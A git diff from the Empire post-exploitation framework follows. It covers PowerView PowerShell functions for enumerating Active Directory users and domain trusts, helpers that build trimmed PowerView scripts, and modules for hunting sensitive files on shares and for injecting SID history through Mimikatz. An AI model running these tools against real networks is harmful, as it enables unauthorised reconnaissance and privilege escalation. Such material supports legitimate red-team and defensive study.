||||
$PrimaryDC = $Null
|
||||
}
|
||||
|
||||
try {
|
||||
# reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx
|
||||
$dn = "DC=$($Domain.Replace('.', ',DC='))"
|
||||
|
||||
# if we have an OU specified, be sure to through it in
|
||||
if($OU){
|
||||
$dn = "OU=$OU,$dn"
|
||||
}
|
||||
|
||||
# if we could grab the primary DC for the current domain, use that for the query
|
||||
if ($PrimaryDC){
|
||||
$UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn")
|
||||
}
|
||||
else{
|
||||
# otherwise try to connect to the DC for the target domain
|
||||
$UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn")
|
||||
}
|
||||
|
||||
# check if we're using a username filter or not
|
||||
if($UserName){
|
||||
# samAccountType=805306368 indicates user objects
|
||||
$UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName))"
|
||||
}
|
||||
elseif($Filter){
|
||||
# filter is something like (samAccountName=*blah*)
|
||||
$UserSearcher.filter="(&(samAccountType=805306368)$Filter)"
|
||||
}
|
||||
else{
|
||||
$UserSearcher.filter='(&(samAccountType=805306368))'
|
||||
}
|
||||
$UserSearcher.PageSize = 200
|
||||
$UserSearcher.FindAll() | ForEach-Object {
|
||||
# for each user/member, do a quick adsi object grab
|
||||
$properties = $_.Properties
|
||||
$out = New-Object psobject
|
||||
$properties.PropertyNames | % {
|
||||
if ($_ -eq "objectsid"){
|
||||
# convert the SID to a string
|
||||
$out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value)
|
||||
}
|
||||
elseif($_ -eq "objectguid"){
|
||||
# convert the GUID to a string
|
||||
$out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid
|
||||
}
|
||||
elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") ){
|
||||
$out | Add-Member Noteproperty $_ ([datetime]::FromFileTime(($properties[$_][0])))
|
||||
}
|
||||
else {
|
||||
if ($properties[$_].count -eq 1) {
|
||||
$out | Add-Member Noteproperty $_ $properties[$_][0]
|
||||
}
|
||||
else {
|
||||
$out | Add-Member Noteproperty $_ $properties[$_]
|
||||
}
|
||||
}
|
||||
}
|
||||
$out
|
||||
}
|
||||
}
|
||||
catch{
|
||||
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
|
||||
}
|
||||
}
|
||||
else{
|
||||
# otherwise, use the current domain
|
||||
if($UserName){
|
||||
$UserSearcher = [adsisearcher]"(&(samAccountType=805306368)(samAccountName=*$UserName*))"
|
||||
}
|
||||
# if we're specifying an OU
|
||||
elseif($OU){
|
||||
$dn = "OU=$OU," + ([adsi]'').distinguishedname
|
||||
$UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn")
|
||||
$UserSearcher.filter='(&(samAccountType=805306368))'
|
||||
}
|
||||
# if we're specifying a specific LDAP query string
|
||||
elseif($Filter){
|
||||
# filter is something like (samAccountName=*blah*)
|
||||
$UserSearcher = [adsisearcher]"(&(samAccountType=805306368)$Filter)"
|
||||
}
|
||||
else{
|
||||
$UserSearcher = [adsisearcher]'(&(samAccountType=805306368))'
|
||||
}
|
||||
$UserSearcher.PageSize = 200
|
||||
|
||||
$UserSearcher.FindAll() | ForEach-Object {
|
||||
# for each user/member, do a quick adsi object grab
|
||||
$properties = $_.Properties
|
||||
$out = New-Object psobject
|
||||
$properties.PropertyNames | % {
|
||||
if ($_ -eq "objectsid"){
|
||||
# convert the SID to a string
|
||||
$out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value)
|
||||
}
|
||||
elseif($_ -eq "objectguid"){
|
||||
# convert the GUID to a string
|
||||
$out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid
|
||||
}
|
||||
elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") ){
|
||||
$out | Add-Member Noteproperty $_ ([datetime]::FromFileTime(($properties[$_][0])))
|
||||
}
|
||||
else {
|
||||
if ($properties[$_].count -eq 1) {
|
||||
$out | Add-Member Noteproperty $_ $properties[$_][0]
|
||||
}
|
||||
else {
|
||||
$out | Add-Member Noteproperty $_ $properties[$_]
|
||||
}
|
||||
}
|
||||
}
|
||||
$out
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
File diff suppressed because it is too large
Load Diff
|
@ -1,308 +0,0 @@
|
|||
|
||||
# Invoke-MapDomainTrusts.ps1
|
||||
# part of PowerView in Veil's PowerTools
|
||||
# https://github.com/Veil-Framework/PowerTools/
|
||||
|
||||
function Get-NetDomain {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Returns the name of the current user's domain.
|
||||
|
||||
.PARAMETER Domain
|
||||
The domain to query return. If not supplied, the
|
||||
current domain is used.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetDomain
|
||||
Return the current domain.
|
||||
|
||||
.LINK
|
||||
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[String]
|
||||
$Domain
|
||||
)
|
||||
|
||||
if($Domain -and ($Domain -ne "")){
|
||||
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
|
||||
try {
|
||||
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
|
||||
}
|
||||
catch{
|
||||
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
|
||||
$Null
|
||||
}
|
||||
}
|
||||
else{
|
||||
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||||
}
|
||||
}
|
||||
|
||||
function Get-NetDomainTrusts {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Return all domain trusts for the current domain or
|
||||
a specified domain.
|
||||
|
||||
.PARAMETER Domain
|
||||
The domain whose trusts to enumerate. If not given,
|
||||
uses the current domain.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetDomainTrusts
|
||||
Return domain trusts for the current domain.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetDomainTrusts -Domain "test"
|
||||
Return domain trusts for the "test" domain.
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[string]
|
||||
$Domain
|
||||
)
|
||||
|
||||
$d = Get-NetDomain -Domain $Domain
|
||||
if($d){
|
||||
$d.GetAllTrustRelationships()
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Get-NetDomainTrustsLDAP {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Return all domain trusts for the current domain or
|
||||
a specified domain using LDAP queries. This is potentially
|
||||
less accurate than the Get-NetDomainTrusts function, but
|
||||
can be relayed through your current domain controller
|
||||
in cases where you can't reach a remote domain directly.
|
||||
|
||||
.PARAMETER Domain
|
||||
The domain whose trusts to enumerate. If not given,
|
||||
uses the current domain.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetDomainTrustsLDAP
|
||||
Return domain trusts for the current domain.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetDomainTrustsLDAP -Domain "test"
|
||||
Return domain trusts for the "test" domain.
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[string]
|
||||
$Domain
|
||||
)
|
||||
|
||||
$TrustSearcher = $Null
|
||||
|
||||
# if a domain is specified, try to grab that domain
|
||||
if ($Domain){
|
||||
|
||||
# try to grab the primary DC for the current domain
|
||||
try{
|
||||
$PrimaryDC = ([Array](Get-NetDomainControllers))[0].Name
|
||||
}
|
||||
catch{
|
||||
$PrimaryDC = $Null
|
||||
}
|
||||
|
||||
try {
|
||||
# reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx
|
||||
$dn = "DC=$($Domain.Replace('.', ',DC='))"
|
||||
|
||||
# if we could grab the primary DC for the current domain, use that for the query
|
||||
if ($PrimaryDC){
|
||||
$TrustSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn")
|
||||
}
|
||||
else{
|
||||
# otherwise default to connecting to the DC for the target domain
|
||||
$TrustSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn")
|
||||
}
|
||||
|
||||
$TrustSearcher.filter = '(&(objectClass=trustedDomain))'
|
||||
$TrustSearcher.PageSize = 200
|
||||
}
|
||||
catch{
|
||||
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
|
||||
$TrustSearcher = $Null
|
||||
}
|
||||
}
|
||||
else{
|
||||
$Domain = (Get-NetDomain).Name
|
||||
$TrustSearcher = [adsisearcher]'(&(objectClass=trustedDomain))'
|
||||
$TrustSearcher.PageSize = 200
|
||||
}
|
||||
|
||||
if($TrustSearcher){
|
||||
$TrustSearcher.FindAll() | ForEach-Object {
|
||||
$props = $_.Properties
|
||||
$out = New-Object psobject
|
||||
Switch ($props.trustattributes)
|
||||
{
|
||||
4 { $attrib = "External"}
|
||||
16 { $attrib = "CrossLink"}
|
||||
32 { $attrib = "ParentChild"}
|
||||
64 { $attrib = "External"}
|
||||
68 { $attrib = "ExternalQuarantined"}
|
||||
Default { $attrib = "unknown trust attribute number: $($props.trustattributes)" }
|
||||
}
|
||||
Switch ($props.trustdirection){
|
||||
0 {$direction = "Disabled"}
|
||||
1 {$direction = "Inbound"}
|
||||
2 {$direction = "Outbound"}
|
||||
3 {$direction = "Bidirectional"}
|
||||
}
|
||||
$out | Add-Member Noteproperty 'SourceName' $domain
|
||||
$out | Add-Member Noteproperty 'TargetName' $props.name[0]
|
||||
$out | Add-Member Noteproperty 'TrustType' "$attrib"
|
||||
$out | Add-Member Noteproperty 'TrustDirection' "$direction"
|
||||
$out
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Invoke-MapDomainTrusts {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Try to map all transitive domain trust relationships.
|
||||
|
||||
.DESCRIPTION
|
||||
This function gets all trusts for the current domain,
|
||||
and tries to get all trusts for each domain it finds.
|
||||
|
||||
.EXAMPLE
|
||||
> Invoke-MapDomainTrusts
|
||||
Return a "domain1,domain2,trustType,trustDirection" list
|
||||
|
||||
.LINK
|
||||
http://blog.harmj0y.net/
|
||||
#>
|
||||
|
||||
# keep track of domains seen so we don't hit infinite recursion
|
||||
$seenDomains = @{}
|
||||
|
||||
# our domain status tracker
|
||||
$domains = New-Object System.Collections.Stack
|
||||
|
||||
# get the current domain and push it onto the stack
|
||||
$currentDomain = (([adsi]'').distinguishedname -replace 'DC=','' -replace ',','.')[0]
|
||||
$domains.push($currentDomain)
|
||||
|
||||
while($domains.Count -ne 0){
|
||||
|
||||
$d = $domains.Pop()
|
||||
|
||||
# if we haven't seen this domain before
|
||||
if (-not $seenDomains.ContainsKey($d)) {
|
||||
|
||||
# mark it as seen in our list
|
||||
$seenDomains.add($d, "") | out-null
|
||||
|
||||
try{
|
||||
# get all the trusts for this domain
|
||||
$trusts = Get-NetDomainTrusts -Domain $d
|
||||
if ($trusts){
|
||||
|
||||
# enumerate each trust found
|
||||
foreach ($trust in $trusts){
|
||||
$source = $trust.SourceName
|
||||
$target = $trust.TargetName
|
||||
$type = $trust.TrustType
|
||||
$direction = $trust.TrustDirection
|
||||
|
||||
# make sure we process the target
|
||||
$domains.push($target) | out-null
|
||||
|
||||
# build the nicely-parsable custom output object
|
||||
$out = new-object psobject
|
||||
$out | add-member Noteproperty 'SourceDomain' $source
|
||||
$out | add-member Noteproperty 'TargetDomain' $target
|
||||
$out | add-member Noteproperty 'TrustType' "$type"
|
||||
$out | add-member Noteproperty 'TrustDirection' "$direction"
|
||||
$out
|
||||
}
|
||||
}
|
||||
}
|
||||
catch{
|
||||
Write-Warning "[!] Error: $_"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Invoke-MapDomainTrustsLDAP {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Try to map all transitive domain trust relationships
|
||||
through LDAP queries.
|
||||
|
||||
.EXAMPLE
|
||||
> Invoke-MapDomainTrustsLDAP
|
||||
Return a "domain1,domain2,trustType,trustDirection" list
|
||||
|
||||
.LINK
|
||||
http://blog.harmj0y.net/
|
||||
#>
|
||||
|
||||
# keep track of domains seen so we don't hit infinite recursion
|
||||
$seenDomains = @{}
|
||||
|
||||
# our domain status tracker
|
||||
$domains = New-Object System.Collections.Stack
|
||||
|
||||
# get the current domain and push it onto the stack
|
||||
$currentDomain = (([adsi]'').distinguishedname -replace 'DC=','' -replace ',','.')[0]
|
||||
$domains.push($currentDomain)
|
||||
|
||||
while($domains.Count -ne 0){
|
||||
|
||||
$d = $domains.Pop()
|
||||
|
||||
# if we haven't seen this domain before
|
||||
if (-not $seenDomains.ContainsKey($d)) {
|
||||
|
||||
# mark it as seen in our list
|
||||
$seenDomains.add($d, "") | out-null
|
||||
|
||||
try{
|
||||
# get all the trusts for this domain through LDAP queries
|
||||
$trusts = Get-NetDomainTrustsLDAP -Domain $d
|
||||
if ($trusts){
|
||||
|
||||
# enumerate each trust found
|
||||
foreach ($trust in $trusts){
|
||||
$source = $trust.SourceName
|
||||
$target = $trust.TargetName
|
||||
$type = $trust.TrustType
|
||||
$direction = $trust.TrustDirection
|
||||
|
||||
# make sure we process the target
|
||||
$domains.push($target) | out-null
|
||||
|
||||
# build the nicely-parsable custom output object
|
||||
$out = new-object psobject
|
||||
$out | add-member Noteproperty 'SourceDomain' $source
|
||||
$out | add-member Noteproperty 'TargetDomain' $target
|
||||
$out | add-member Noteproperty 'TrustType' $type
|
||||
$out | add-member Noteproperty 'TrustDirection' $direction
|
||||
$out
|
||||
}
|
||||
}
|
||||
}
|
||||
catch{
|
||||
Write-Warning "[!] Error: $_"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
@ -9,7 +9,7 @@ menu loops.
|
|||
"""
|
||||
|
||||
# make version for Empire
|
||||
VERSION = "1.2.1"
|
||||
VERSION = "1.3.0"
|
||||
|
||||
|
||||
from pydispatch import dispatcher
|
||||
|
|
|
@ -197,6 +197,119 @@ def strip_powershell_comments(data):
|
|||
return strippedCode
|
||||
|
||||
|
||||
# PowerView dynamic helpers
|
||||
|
||||
def get_powerview_psreflect_overhead(script):
|
||||
"""
|
||||
Helper to extract some of the psreflect overhead for PowerView.
|
||||
"""
|
||||
pattern = re.compile(r'\n\$Mod =.*\[\'wtsapi32\'\]', re.DOTALL)
|
||||
|
||||
try:
|
||||
return strip_powershell_comments(pattern.findall(script)[0])
|
||||
except:
|
||||
print color("[!] Error extracting psreflect overhead from powerview.ps1 !")
|
||||
return ""
|
||||
|
||||
|
||||
def get_dependent_functions(code, functionNames):
|
||||
"""
|
||||
Helper that takes a chunk of PowerShell code and a set of function
|
||||
names and returns the unique set of function names within the script block.
|
||||
"""
|
||||
|
||||
dependentFunctions = set()
|
||||
for functionName in functionNames:
|
||||
# find all function names that aren't followed by another alpha character
|
||||
if re.search(functionName+"[^A-Za-z]+", code, re.IGNORECASE):
|
||||
dependentFunctions.add(functionName)
|
||||
|
||||
if re.search(functionName+"|\$Netapi32|\$Advapi32|\$Kernel32\$Wtsapi32", code, re.IGNORECASE):
|
||||
dependentFunctions |= set(["New-InMemoryModule", "func", "Add-Win32Type", "psenum", "struct"])
|
||||
|
||||
return dependentFunctions
|
||||
|
||||
|
||||
def find_all_dependent_functions(functions, functionsToProcess, resultFunctions=[]):
|
||||
"""
|
||||
Takes a dictionary of "[functionName] -> functionCode" and a set of functions
|
||||
to process, and recursively returns all nested functions that may be required.
|
||||
|
||||
Used to map the dependent functions for nested script dependencies like in
|
||||
PowerView.
|
||||
"""
|
||||
|
||||
if isinstance(functionsToProcess, str):
|
||||
functionsToProcess = [functionsToProcess]
|
||||
|
||||
while len(functionsToProcess) != 0:
|
||||
|
||||
# pop the next function to process off the stack
|
||||
requiredFunction = functionsToProcess.pop()
|
||||
|
||||
if requiredFunction not in resultFunctions:
|
||||
resultFunctions.append(requiredFunction)
|
||||
|
||||
# get the dependencies for the function we're currently processing
|
||||
try:
|
||||
functionDependencies = get_dependent_functions(functions[requiredFunction], functions.keys())
|
||||
except:
|
||||
functionDependencies = []
|
||||
print color("[!] Error in retrieving dependencies for function %s !" %(requiredFunction))
|
||||
|
||||
for functionDependency in functionDependencies:
|
||||
if functionDependency not in resultFunctions and functionDependency not in functionsToProcess:
|
||||
# for each function dependency, if we haven't already seen it
|
||||
# add it to the stack for processing
|
||||
functionsToProcess.append(functionDependency)
|
||||
resultFunctions.append(functionDependency)
|
||||
|
||||
resultFunctions = find_all_dependent_functions(functions, functionsToProcess, resultFunctions)
|
||||
|
||||
return resultFunctions
|
||||
|
||||
|
||||
def generate_dynamic_powershell_script(script, functionName):
|
||||
"""
|
||||
Takes a PowerShell script and a function name, generates a dictionary
|
||||
of "[functionName] -> functionCode", and recurisvely maps all
|
||||
dependent functions for the specified function name.
|
||||
|
||||
A script is returned with only the code necessary for the given
|
||||
functionName, stripped of comments and whitespace.
|
||||
|
||||
Note: for PowerView, it will also dynamically detect if psreflect
|
||||
overhead is needed and add it to the result script.
|
||||
"""
|
||||
|
||||
newScript = ""
|
||||
psreflect_functions = ["New-InMemoryModule", "func", "Add-Win32Type", "psenum", "struct"]
|
||||
|
||||
# build a mapping of functionNames -> stripped function code
|
||||
functions = {}
|
||||
pattern = re.compile(r'\nfunction.*?{.*?\n}\n', re.DOTALL)
|
||||
|
||||
for match in pattern.findall(script):
|
||||
name = match[:40].split()[1]
|
||||
functions[name] = strip_powershell_comments(match)
|
||||
|
||||
# recursively enumerate all possible function dependencies and
|
||||
# start building the new result script
|
||||
functionDependencies = find_all_dependent_functions(functions, functionName)
|
||||
|
||||
for functionDependency in functionDependencies:
|
||||
try:
|
||||
newScript += functions[functionDependency] + "\n"
|
||||
except:
|
||||
print color("[!] Key error with function %s !" %(functionDependency))
|
||||
|
||||
# if any psreflect methods are needed, add in the overhead at the end
|
||||
if any(el in set(psreflect_functions) for el in functionDependencies):
|
||||
newScript += get_powerview_psreflect_overhead(script)
|
||||
|
||||
return newScript + "\n"
|
||||
|
||||
|
||||
###############################################################
|
||||
#
|
||||
# Parsers
|
||||
|
@ -232,7 +345,7 @@ def parse_credentials(data):
|
|||
return [("plaintext", domain, username, password, "", "")]
|
||||
|
||||
else:
|
||||
print helpers.color("[!] Error in parsing prompted credential output.")
|
||||
print color("[!] Error in parsing prompted credential output.")
|
||||
return None
|
||||
|
||||
else:
|
||||
|
@ -566,4 +679,3 @@ def complete_path(text, line, arg=False):
|
|||
completions.append(f+'/')
|
||||
|
||||
return completions
|
||||
|
||||
|
|
|
@ -35,23 +35,18 @@ class Module:
|
|||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Hosts' : {
|
||||
'Description' : "Host array to enumerate.",
|
||||
'ComputerName' : {
|
||||
'Description' : 'Hosts to enumerate.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostList' : {
|
||||
'Description' : "List of hostnames/IPs to search.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostFilter' : {
|
||||
'Description' : "Host filter name to query AD for, wildcards accepted.",
|
||||
'ComputerFilter' : {
|
||||
'Description' : 'Host filter name to query AD for, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ShareList' : {
|
||||
'Description' : "List if \\HOST\shares to search through.",
|
||||
'Description' : "List of '\\\\HOST\shares' (on the target) to search through.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
|
@ -70,6 +65,21 @@ class Module:
|
|||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'LastAccessTime' : {
|
||||
'Description' : "Only return files with a LastAccessTime greater than this date value.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'CreationTime' : {
|
||||
'Description' : "Only return files with a CreationDate greater than this date value.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'FreshEXES' : {
|
||||
'Description' : "Switch. Find .EXEs accessed in the last week.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ExcludeHidden' : {
|
||||
'Description' : "Switch. Exclude hidden files and folders from the search results.",
|
||||
'Required' : False,
|
||||
|
@ -80,16 +90,6 @@ class Module:
|
|||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'AccessDateLimit' : {
|
||||
'Description' : "Only return files with a LastAccessTime greater than this date value.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'CreateDateLimit' : {
|
||||
'Description' : "Only return files with a CreationDate greater than this date value.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'NoPing' : {
|
||||
'Description' : "Switch. Don't ping each host to ensure it's up before enumerating.",
|
||||
'Required' : False,
|
||||
|
@ -104,6 +104,16 @@ class Module:
|
|||
'Description' : "Domain to query for machines.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SearchSYSVOL' : {
|
||||
'Description' : "Switch. Search for login scripts on the SYSVOL of the primary DCs for each specified domain.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Threads' : {
|
||||
'Description' : "The maximum concurrent threads to execute.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -120,8 +130,10 @@ class Module:
|
|||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-FileFinder.ps1"
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
|
@ -132,15 +144,20 @@ class Module:
|
|||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += "Invoke-FileFinder "
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += " | Out-String"
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -5,12 +5,11 @@ class Module:
|
|||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Invoke-Filesearch',
|
||||
'Name': 'Find-InterestingFile',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Recurively searches a given file path for files with '
|
||||
'specified terms in their names.'),
|
||||
'Description': ('Finds sensitive files on the domain.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
|
@ -37,10 +36,10 @@ class Module:
|
|||
'Value' : ''
|
||||
},
|
||||
'Path' : {
|
||||
'Description' : "Path to search, defaults to current dir.",
|
||||
'Required' : False,
|
||||
'Description' : 'UNC/local path to recursively search.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
},
|
||||
'Terms' : {
|
||||
'Description' : "Comma-separated terms to search for (overrides defaults).",
|
||||
'Required' : False,
|
||||
|
@ -56,6 +55,21 @@ class Module:
|
|||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'LastAccessTime' : {
|
||||
'Description' : "Only return files with a LastAccessTime greater than this date value.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'CreationTime' : {
|
||||
'Description' : "Only return files with a CreationDate greater than this date value.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'FreshEXES' : {
|
||||
'Description' : "Switch. Find .EXEs accessed in the last week.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ExcludeHidden' : {
|
||||
'Description' : "Switch. Exclude hidden files and folders from the search results.",
|
||||
'Required' : False,
|
||||
|
@ -65,28 +79,13 @@ class Module:
|
|||
'Description' : "Switch. Only returns files the current user has write access to.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'AccessDateLimit' : {
|
||||
'Description' : "Only return files with a LastAccessTime greater than this date value.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'CreateDateLimit' : {
|
||||
'Description' : "Only return files with a CreationDate greater than this date value.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'FreshEXES' : {
|
||||
'Description' : "Switch. Find .EXEs accessed within the last week.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
|
@ -96,8 +95,10 @@ class Module:
|
|||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-Filesearch.ps1"
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
|
@ -108,9 +109,10 @@ class Module:
|
|||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += "Invoke-Filesearch "
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
|
@ -119,8 +121,8 @@ class Module:
|
|||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += " | Out-String"
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -44,7 +44,7 @@ class Module:
|
|||
'Value' : ''
|
||||
},
|
||||
'Groups' : {
|
||||
'Description' : 'Groups/users to add to the sidhistory of the target user (space-separated).',
|
||||
'Description' : 'Groups/users to add to the sidhistory of the target user (COMMA-separated).',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
}
|
||||
|
@ -77,8 +77,11 @@ class Module:
|
|||
|
||||
script = moduleCode
|
||||
|
||||
# ridiculous escape format
|
||||
groups = " ".join(['"\\""'+group.strip().strip("'\"")+'"""' for group in self.options["Groups"]['Value'].split(",")])
|
||||
|
||||
# build the custom command with whatever options we want
|
||||
command = "misc::addsid "+self.options["User"]['Value'] + " " + self.options["Groups"]['Value']
|
||||
command = '""misc::addsid '+self.options["User"]['Value'] + ' ' + groups
|
||||
|
||||
# base64 encode the command to pass to Invoke-Mimikatz
|
||||
script += "Invoke-Mimikatz -Command '\"" + command + "\"';"
|
||||
|
|
|
@ -1,108 +0,0 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-NetDomainController',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Returns the domain controllers for the current domain or '
|
||||
'the specified domain.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to query for domain controllers.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
script = """
|
||||
function Get-NetDomain {
|
||||
|
||||
